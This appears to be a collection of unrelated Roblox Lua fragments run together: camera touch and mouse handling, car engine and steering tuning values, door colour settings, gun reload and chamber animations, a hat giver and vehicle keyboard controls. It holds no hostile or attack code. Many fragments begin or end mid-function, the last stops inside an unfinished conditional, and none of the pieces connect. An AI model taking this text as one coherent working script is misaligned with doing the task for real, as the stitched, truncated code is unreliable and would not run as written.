self:BindAction("BaseCameraGamepadZoom", function(name, state, input) return self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.DPadLeft, Enum.KeyCode.DPadRight, Enum.KeyCode.ButtonR3) else ContextActionService:BindAction("RootCamGamepadPan", function(name, state, input) self:GetGamepadPan(name, state, input) end, false, Enum.KeyCode.Thumbstick2) ContextActionService:BindAction("RootCamGamepadZoom", function(name, state, input) self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.ButtonR3) --ContextActionService:BindAction("RootGamepadZoomAlt", function(name, state, input) self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.ButtonL3) ContextActionService:BindAction("RootGamepadZoomOut", function(name, state, input) self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.DPadLeft) ContextActionService:BindAction("RootGamepadZoomIn", function(name, state, input) self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.DPadRight) end end function BaseCamera:BindKeyboardInputActions() self:BindAction("BaseCameraKeyboardPanArrowKeys", function(name, state, input) return self:DoKeyboardPanTurn(name, state, input) end, false, Enum.KeyCode.Left, Enum.KeyCode.Right) self:BindAction("BaseCameraKeyboardPan", function(name, state, input) return self:DoKeyboardPan(name, state, input) end, false, Enum.KeyCode.Comma, Enum.KeyCode.Period, Enum.KeyCode.PageUp, Enum.KeyCode.PageDown) self:BindAction("BaseCameraKeyboardZoom", function(name, state, input) return self:DoKeyboardZoom(name, state, input) end, false, Enum.KeyCode.I, Enum.KeyCode.O) end function BaseCamera:OnTouchBegan(input, processed) local canUseDynamicTouch = self.isDynamicThumbstickEnabled and not processed if canUseDynamicTouch then self.fingerTouches[input] = processed if not processed then self.inputStartPositions[input] = input.Position self.inputStartTimes[input] = tick() self.numUnsunkTouches = self.numUnsunkTouches + 1 end end end function BaseCamera:OnTouchChanged(input, processed) if self.fingerTouches[input] == nil then if self.isDynamicThumbstickEnabled then return end self.fingerTouches[input] = processed if not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end end if self.numUnsunkTouches == 1 then if self.fingerTouches[input] == false then self.panBeginLook = self.panBeginLook or self:GetCameraLookVector() self.startPos = self.startPos or input.Position self.lastPos = self.lastPos or self.startPos self.userPanningTheCamera = true local delta = input.Position - self.lastPos delta = Vector2.new(delta.X, delta.Y * UserGameSettings:GetCameraYInvertValue()) if self.panEnabled then local desiredXYVector = self:InputTranslationToCameraAngleChange(delta, TOUCH_SENSITIVTY) self.rotateInput = self.rotateInput + desiredXYVector end self.lastPos = input.Position end else self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false end if self.numUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(self.fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if self.startingDiff and self.pinchBeginZoom then local scale = difference / math.max(0.01, self.startingDiff) local clampedScale = Util.Clamp(0.1, 10, scale) if self.distanceChangeEnabled then self:SetCameraToSubjectDistance(self.pinchBeginZoom / clampedScale) end else self.startingDiff = difference self.pinchBeginZoom = self:GetCameraToSubjectDistance() end end else self.startingDiff = nil self.pinchBeginZoom = nil end end function BaseCamera:CalcLookBehindRotateInput() if not self.humanoidRootPart or not game.Workspace.CurrentCamera then return nil end local cameraLookVector = game.Workspace.CurrentCamera.CFrame.lookVector local newDesiredLook = (self.humanoidRootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, cameraLookVector) local vertShift = math.asin(cameraLookVector.Y) - math.asin(newDesiredLook.Y) if not Util.IsFinite(horizontalShift) then horizontalShift = 0 end if not Util.IsFinite(vertShift) then vertShift = 0 end return Vector2.new(horizontalShift, vertShift) end function BaseCamera:OnTouchTap(position) if self.isDynamicThumbstickEnabled and not self.isAToolEquipped then if self.lastTapTime and tick() - self.lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then self:SetCameraToSubjectDistance(self.defaultSubjectDistance) else if self.humanoidRootPart then self.rotateInput = self:CalcLookBehindRotateInput() end end self.lastTapTime = tick() end end function BaseCamera:IsTouchTap(input) -- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type. if self.inputStartPositions[input] then local posDelta = (self.inputStartPositions[input] - input.Position).magnitude if posDelta < MAX_TAP_POS_DELTA then local timeDelta = self.inputStartTimes[input] - tick() if timeDelta < MAX_TAP_TIME_DELTA then return true end end end return false end function BaseCamera:OnTouchEnded(input, processed) if self.fingerTouches[input] == false then if self.numUnsunkTouches == 1 then self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false if self:IsTouchTap(input) then self:OnTouchTap(input.Position) end elseif self.numUnsunkTouches == 2 then self.startingDiff = nil self.pinchBeginZoom = nil end end if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then self.numUnsunkTouches = self.numUnsunkTouches - 1 end self.fingerTouches[input] = nil self.inputStartPositions[input] = nil self.inputStartTimes[input] = nil end function BaseCamera:OnMouse2Down(input, processed) if processed then return end self.isRightMouseDown = true self:OnMousePanButtonPressed(input, processed) end function BaseCamera:OnMouse2Up(input, processed) self.isRightMouseDown = false self:OnMousePanButtonReleased(input, processed) end function BaseCamera:OnMouse3Down(input, processed) if processed then return end self.isMiddleMouseDown = true self:OnMousePanButtonPressed(input, processed) end function BaseCamera:OnMouse3Up(input, processed) self.isMiddleMouseDown = false self:OnMousePanButtonReleased(input, processed) end function BaseCamera:OnMouseMoved(input, processed) if not self.hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * UserGameSettings:GetCameraYInvertValue()) if self.panEnabled and ((self.startPos and self.lastPos and self.panBeginLook) or self.inFirstPerson or self.inMouseLockedMode) then local desiredXYVector = self:InputTranslationToCameraAngleChange(inputDelta,MOUSE_SENSITIVITY) self.rotateInput = self.rotateInput + desiredXYVector end if self.startPos and self.lastPos and self.panBeginLook then self.lastPos = self.lastPos + input.Delta end end function BaseCamera:OnMousePanButtonPressed(input, processed) if processed then return end self:UpdateMouseBehavior() self.panBeginLook = self.panBeginLook or self:GetCameraLookVector() self.startPos = self.startPos or input.Position self.lastPos = self.lastPos or self.startPos self.userPanningTheCamera = true end function BaseCamera:OnMousePanButtonReleased(input, processed) self:UpdateMouseBehavior() if not (self.isRightMouseDown or self.isMiddleMouseDown) then self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false end end function BaseCamera:OnMouseWheel(input, processed) if not self.hasGameLoaded and VRService.VREnabled then return end if not processed then if self.distanceChangeEnabled then local wheelInput = Util.Clamp(-1, 1, -input.Position.Z) local newDistance if self.inFirstPerson and wheelInput > 0 then newDistance = FIRST_PERSON_DISTANCE_THRESHOLD else -- The 0.156 and 1.7 values are the slope and intercept of a line that is replacing the old -- rk4Integrator function which was not being used as an integrator, only to get a delta as a function of distance, -- which was linear as it was being used. These constants preserve the status quo behavior. newDistance = self.currentSubjectDistance + 0.156 * self.currentSubjectDistance * wheelInput + 1.7 * math.sign(wheelInput) end self:SetCameraToSubjectDistance(newDistance) end end end
--[[Steering]]
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .03 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--------RIGHT DOOR 4--------
game.Workspace.doorright.l73.BrickColor = BrickColor.new(135) game.Workspace.doorright.l72.BrickColor = BrickColor.new(135) game.Workspace.doorright.l71.BrickColor = BrickColor.new(135) game.Workspace.doorright.l63.BrickColor = BrickColor.new(135) game.Workspace.doorright.l62.BrickColor = BrickColor.new(135) game.Workspace.doorright.l61.BrickColor = BrickColor.new(135) game.Workspace.doorright.l52.BrickColor = BrickColor.new(135) game.Workspace.doorright.l51.BrickColor = BrickColor.new(135) game.Workspace.doorright.l41.BrickColor = BrickColor.new(135) game.Workspace.doorright.l11.BrickColor = BrickColor.new(102) game.Workspace.doorright.l12.BrickColor = BrickColor.new(102) game.Workspace.doorright.l13.BrickColor = BrickColor.new(102) game.Workspace.doorright.l42.BrickColor = BrickColor.new(102) game.Workspace.doorright.l43.BrickColor = BrickColor.new(102) game.Workspace.doorright.l21.BrickColor = BrickColor.new(102) game.Workspace.doorright.l22.BrickColor = BrickColor.new(102) game.Workspace.doorright.l23.BrickColor = BrickColor.new(102) game.Workspace.doorright.l31.BrickColor = BrickColor.new(102) game.Workspace.doorright.l32.BrickColor = BrickColor.new(102) game.Workspace.doorright.l33.BrickColor = BrickColor.new(102) game.Workspace.doorright.l53.BrickColor = BrickColor.new(102)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 468 Tune.IdleRPM = 700 Tune.PeakRPM = 7000 Tune.Redline = 8000 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Double" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 15 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 65 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
----- Private Variables -----
local Players = game:GetService("Players") local PlayerReference = {} -- {player = true} local RateLimiters = {} -- {rate_limiter = true, ...}
--[[Unsprung Weight]]
-- Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.AxleSize = 1 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members Tune.AxlesVisible = false -- Makes axle structural parts visible (Debug) Tune.HingeSize = 1 -- Size of steering hinges (larger = more stable/carry more weight) Tune.HingeDensity = .1 -- Density of steering hinges Tune.HingesVisible = false -- Makes steering hinges visible (Debug)
-- ModuleScript that holds all the functions that are tied with the RemoteEvents
local Functions = require(script:WaitForChild("ServerFunctions"))
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 95 Tune.IdleRPM = 700 Tune.PeakRPM = 3300 Tune.Redline = 3500 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Super" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- MAIN --
script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Visible = false script.Parent.Parent.Parent.AboutButton.Visible = true script.Parent.Parent.Parent.PlayButton.Visible = true end)
--[[ Set the current node's status to Success. ]]
function TestSession:setSuccess() assert(#self.nodeStack > 0, "Attempting to set success status on empty stack") self.nodeStack[#self.nodeStack].status = TestEnum.TestStatus.Success end
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.165, -1.5) * CFrame.Angles(math.rad(-115), math.rad(-10), math.rad(10))}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end; GLReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.25) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.75) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.25) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() wait(0.55) end;
-- << VARIABLES >>
local topBarFrame = main.gui.CustomTopBar
-- Just copy and paste below if you already have an existing motors script, if not then you you don't need to do anything
local tb = Instance.new("Motor", script.Parent.Parent.Misc.TB.SS) --Tool Box tb.MaxVelocity = 0.03 tb.Part0 = script.Parent.TB tb.Part1 = tb.Parent
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Belgium hat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(1, 1.2, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentForward = Vector3.new (-0, -0, -1) h.AttachmentPos = Vector3.new(0, -0.2, 0) h.AttachmentRight = Vector3.new (1, 0, 0) h.AttachmentUp = Vector3.new (0, 1, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "u" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end elseif key == "n" then --Dash Screen Switch if carSeat.Parent.Body.Dash.DashSc.G.Unit.Visible == false then handler:FireServer('DashSwitch', true) else end elseif key == "f" then --FM Screen Switch if carSeat.Parent.Body.Dash.Screen.G.Startup.Visible == false and carSeat.Parent.Body.Dash.Screen.G.Caution.Visible == false then handler:FireServer('FMSwitch', true) else end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume >= 0 then handler:FireServer('volumedown', true) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume <= 10 then handler:FireServer('volumeup', true) end end end) TR.SN.MouseButton1Click:connect(function() --Show tracker names script.Parent.Names.Value = true end) TR.HN.MouseButton1Click:connect(function() --Hide tracker names script.Parent.Names.Value = false end) winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song handler:FireServer('updateSong', winfob.mg.Input.Text) end) winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song handler:FireServer('pauseSong') end) carSeat.Indicator.Changed:connect(function() if carSeat.Indicator.Value == true then script.Parent.Indicator:Play() else script.Parent.Indicator2:Play() end end) game.Lighting.Changed:connect(function(prop) if prop == "TimeOfDay" then handler:FireServer('TimeUpdate') end end) if game.Workspace.FilteringEnabled == true then handler:FireServer('feON') elseif game.Workspace.FilteringEnabled == false then handler:FireServer('feOFF') end carSeat.LI.Changed:connect(function() if carSeat.LI.Value == true then carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = true script.Parent.HUB.Left.Visible = true else carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = false script.Parent.HUB.Left.Visible = false end end) carSeat.RI.Changed:connect(function() if carSeat.RI.Value == true then 